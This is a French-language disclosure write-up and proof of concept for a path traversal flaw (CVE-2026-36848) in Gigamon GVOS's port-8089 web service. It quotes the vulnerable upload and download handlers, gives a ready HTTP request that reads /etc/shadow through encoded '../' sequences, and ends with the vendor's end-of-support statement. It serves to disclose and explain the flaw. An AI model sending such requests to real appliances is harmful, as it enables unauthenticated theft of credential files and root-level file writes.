
Preuve de concept d'exploit pour CVE-2026-36848, une vulnérabilité de traversée de chemin dans les appareils Gigamon GVOS permettant une lecture de fichier à distance non authentifiée et une écriture partielle avec privilèges root via le service TornadoHTTP sur le port 8089.
Une vulnérabilité critique de traversée de chemin a été identifiée dans le moteur d'administration web sur le port 8089 des appliances Gigamon-VUE OS (GVOS). Ce défaut existe dans le sous-système H-VUE hérité, au sein du démon persistd, et permet à un attaquant distant non authentifié, disposant d'un accès réseau au service, de lire des fichiers arbitraires et d'effectuer des opérations d'écriture partielles (la réécriture de fichiers existants n'est pas possible) sur le système avec les privilèges root.
/opt/tms/persistd_py/persistd.pyroot)Le service web TornadoHTTP fonctionnant sur le port 8089 implémente une configuration de routage mappée dans . Ce démon expose plusieurs routes pour gérer les interactions avec la base de données et les sauvegardes de configuration :
/opt/tms/persistd_py/persistd.pyapp = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... autres routes
])
Les gestionnaires DownloadDbFile et UploadDbFile consomment directement les chemins fournis par l'utilisateur à partir des groupes de capture de l'URI regex et les transmettent sans filtre aux fonctions utilitaires de bas niveau.
Lorsqu'un client demande le téléchargement d'un fichier, le gestionnaire GET appelle l'utilitaire download_file :
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [étapes de validation ignorées pour plus de clarté] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
La fonction cible sous-jacente download_file tente d'ouvrir le fichier demandé en utilisant une concaténation naïve de chaînes plutôt que de résoudre un chemin canonique sûr :
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Cause racine : La concaténation directe permet la sortie du répertoire via des séquences de traversée
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
En raison de l'absence de filtrage de validation (par exemple, vérification des séquences de traversée de répertoire comme ..), toute séquence de chemin relative injectée via file_name est concaténée directement sur DBFILE_DIR et résolue par rapport à la racine du système.
De même, le gestionnaire PUT utilisé pour l'upload de base de données passe le corps de la requête et le chemin défini par l'utilisateur directement à l'utilitaire upload_file :
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
La routine upload_file utilise os.path.join pour déterminer le chemin cible. Cependant, une idée reçue courante en sécurité est que os.path.join protège contre la traversée. En réalité, si un composant passé à os.path.join représente un chemin absolu ou contient des étapes de traversée relatives, le chemin résolu sortira du répertoire de base :
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Point d'entrée vulnérable 1 : os.path.join ne neutralise pas les séquences de traversée de répertoire
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Point d'entrée vulnérable 2 : l'opération rename effectue une concaténation de chaîne non sécurisée
os.rename(tmp_path, DBFILE_DIR + path)
Ce manque structurel d'assainissement des entrées permet à un attaquant de fournir un chemin contenant des étapes de traversée, permettant au service d'écrire des fichiers arbitraires en dehors des limites de DBFILE_DIR avec les permissions du contexte utilisateur root exécutant le démon.
Si un attaquant encode les séparateurs de chemin dans l'URL (/ en %2F), le moteur de routage décode et évalue la séquence sans problème, contournant les restrictions de chemin standard.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <ip_cible>:8089
Accept: /
Voici la déclaration officielle et les conseils de mise à niveau fournis par le fournisseur concernant cette vulnérabilité :
Le problème de ce CVE était présent uniquement dans le sous-système H-VUE. La version GVOS 6 a complètement supprimé le sous-système H-VUE, la version GVOS 5.16.1 étant la dernière à l'inclure. La version 5.16.1 a atteint la fin de support le 26 mai 2023. Aucune version actuellement prise en charge de GVOS ne contient cette vulnérabilité.
La matrice de support pour GVOS, qui documente les versions prises en charge et les dates de fin de support, est disponible ici : https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf
La politique de fin de vente et de fin de vie de Gigamon est disponible ici : https://www.gigamon.com/support/policies/eol-policy.html
Aucun environnement de production Gigamon ne devrait exécuter une version logicielle non prise en charge (NIST SP 800-53 SA-22 « Composants système non pris en charge »). Si c'est votre cas, Gigamon recommande vivement de passer à une version prise en charge dès que possible. Les clients bénéficiant d'un support peuvent obtenir des versions mises à niveau de GVOS via le portail communautaire Gigamon. Les clients sans support sont invités à contacter Gigamon pour discuter des options de support : https://www.gigamon.com/contact-sales.html
Nous tenons à exprimer notre gratitude aux équipes de sécurité des produits et d'ingénierie de Gigamon pour leur coordination exemplaire tout au long de ce processus de divulgation.